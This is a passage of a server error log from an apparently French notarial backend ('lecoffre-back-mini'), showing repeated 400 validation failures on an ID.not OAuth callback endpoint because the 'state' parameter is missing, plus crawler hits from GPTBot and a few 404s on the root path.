'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:44:44.173Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ_2694PeapAzmvcMDAPYsW'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ'... 440 more characters, userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' }, requestId: 'req_1758635084172_frmrfos92' } ❌ [ERROR] 2025-09-23T13:44:44.174Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ_2694PeapAzmvcMDAPYsWXGREa4QHTENWepR33MeAFHTLIDf7kjJkAbDjncPNTUa792StbgBvL04pzmoyh0WcsaoPirWkAHw5HZ-z8hpmEo4wE8oyBHC0w1G70-zJBq2rBkMJYRfT0ei12nolqNb9KYOQWU1Ltw1crJ_R96XZoHeQh_zD_zPb-ghaya096s0QRA2wE1T8KqtxQOxFbNaFUwZ7qJ2Uqk_62x63NixnQAGhKzXkqMTpwYSlJu5BcfzUyaudOUMQ2M2qYhRXVEzk5q0rIXh3kqHXta_Zg7HnxIZDdfv7fiUPdKyo-RxYfFgkuZK9o9e5ofuKIWtcc24UxzOiP_YLfZOgSAf_nF2RM8uEpQbGB0wFUIZI-Qg4gCLtpZyv_SWEpJ49jS5Yvkyr0UiiuPmcThQDtxBvjDpONkYI07SRbIiektY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ'... 440 more characters, userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' }, requestId: 'req_1758635084172_frmrfos92', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:47:52.749Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758635272748_xj5b4sleo' } ❌ [ERROR] 2025-09-23T13:47:52.749Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758635272748_xj5b4sleo', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:54:12.044Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758635652043_rr4mxccqn' } ❌ [ERROR] 2025-09-23T13:54:12.045Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758635652043_rr4mxccqn', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lORqlVna6dYVKoqE3yg6KWwJ5THF88bttsfweCb_r1JO1M04cbkThTDMVzsoBynRepUhG_uPotCHABXZPRsX0cl59JpXGwcQ-7aG6R1bd4CbQ7sJGAvCbSqrc-3IvEagpwOMd8FdwEpZetpj6e7jgKgduaTdEAYlavXE3x_aEKcnaGsUhFDRNyTIu_gLy7HXPjyy5pXfTY7wlvVlXzqaN4MGfLVYCuwZY8PUIdYUmA203Qyb-FF9orfQ7JsY6iW2fsbUlnhWNhdSP2SCvHGrXSpWwdN4xw1G2cDR8SlOliKHR6j4tJC_mCNjtAFp1Y9wytDyPDtuurG503mHXSw9SLa8XSwVe9iLpjTR2HaI3bFe-DKU_SF_eZrICOhw49wjXS08hAlx7DDrz6H3C2Rbw6yo2jbxz97YCj0s0TMzvnmfiMh2-dPA3uM9sA', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:54:50.069Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lORqlVna6dYVKoqE3yg6KWw'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lO'... 440 more characters, userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' }, requestId: 'req_1758635690068_aq7l7s1e7' } ❌ [ERROR] 2025-09-23T13:54:50.070Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lORqlVna6dYVKoqE3yg6KWwJ5THF88bttsfweCb_r1JO1M04cbkThTDMVzsoBynRepUhG_uPotCHABXZPRsX0cl59JpXGwcQ-7aG6R1bd4CbQ7sJGAvCbSqrc-3IvEagpwOMd8FdwEpZetpj6e7jgKgduaTdEAYlavXE3x_aEKcnaGsUhFDRNyTIu_gLy7HXPjyy5pXfTY7wlvVlXzqaN4MGfLVYCuwZY8PUIdYUmA203Qyb-FF9orfQ7JsY6iW2fsbUlnhWNhdSP2SCvHGrXSpWwdN4xw1G2cDR8SlOliKHR6j4tJC_mCNjtAFp1Y9wytDyPDtuurG503mHXSw9SLa8XSwVe9iLpjTR2HaI3bFe-DKU_SF_eZrICOhw49wjXS08hAlx7DDrz6H3C2Rbw6yo2jbxz97YCj0s0TMzvnmfiMh2-dPA3uM9sA - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lO'... 440 more characters, userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' }, requestId: 'req_1758635690068_aq7l7s1e7', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7P1zUCr5r--wgeUUSMq06sWGS6CfdCinypQZoMBVAObs-WmoQkC-2arlnC-mucTgyXIdGexDvIe3-n5s85alRTH_4YWjiPRJCQrvfJsq8rC9JuXY66ZXdm69byom8eoC8ibCzgoZ0GcXRDss-ryzd9ST2iqSdlzs2cpsCprB_TM9gO5K7XgYAf19E4joP1NoqtSWh6Cs7eDwY4mtqJkX10brOQt5IDD-uk8WOOBQZCJnxPemy6SzRabfDOsoWxr2l7vRpJOEHXfgGrkIWbBo_bLl30Ljm9lIUY5x58pJKzRZouAdnn2umlpn4SiIB2iZx1akoWS8LjzyTyUckLWw9AgZ_9PqiRNCsj7oPHABgv66fwhN2drYmA23e-X4yqKfDQiRknwfA-G8KD4F3opf3aco5fYx1aL7r42e2pdJyArfO_QZaHt9vwtms', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:55:19.141Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7P1zUCr5r--wgeUUSMq06s'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7'... 440 more characters, userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' }, requestId: 'req_1758635719140_z8pde4448' } ❌ [ERROR] 2025-09-23T13:55:19.141Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7P1zUCr5r--wgeUUSMq06sWGS6CfdCinypQZoMBVAObs-WmoQkC-2arlnC-mucTgyXIdGexDvIe3-n5s85alRTH_4YWjiPRJCQrvfJsq8rC9JuXY66ZXdm69byom8eoC8ibCzgoZ0GcXRDss-ryzd9ST2iqSdlzs2cpsCprB_TM9gO5K7XgYAf19E4joP1NoqtSWh6Cs7eDwY4mtqJkX10brOQt5IDD-uk8WOOBQZCJnxPemy6SzRabfDOsoWxr2l7vRpJOEHXfgGrkIWbBo_bLl30Ljm9lIUY5x58pJKzRZouAdnn2umlpn4SiIB2iZx1akoWS8LjzyTyUckLWw9AgZ_9PqiRNCsj7oPHABgv66fwhN2drYmA23e-X4yqKfDQiRknwfA-G8KD4F3opf3aco5fYx1aL7r42e2pdJyArfO_QZaHt9vwtms - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7'... 440 more characters, userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' }, requestId: 'req_1758635719140_z8pde4448', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:00:35.529Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758636035528_wo1y58q87' } ❌ [ERROR] 2025-09-23T14:00:35.529Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758636035528_wo1y58q87', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T14:02:23.630Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:5.200.72.26', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' }, requestId: 'req_1758636143629_afhx58b8e', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:07:00.348Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758636420347_rnwpttt5v' } ❌ [ERROR] 2025-09-23T14:07:00.349Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758636420347_rnwpttt5v', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:10:44.117Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758636644116_l48ww7oz4' } ❌ [ERROR] 2025-09-23T14:10:44.118Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758636644116_l48ww7oz4', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T14:11:36.300Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758636696299_jll4qvvx7', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:13:27.168Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758636807168_0lih9leqf' } ❌ [ERROR] 2025-09-23T14:13:27.169Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758636807168_0lih9leqf', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T14:17:21.755Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:165.154.204.121', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36' }, requestId: 'req_1758637041754_sk9npa5su', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:19:54.115Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758637194115_cw2b92ha2' } ❌ [ERROR] 2025-09-23T14:19:54.116Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758637194115_cw2b92ha2', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:26:25.096Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 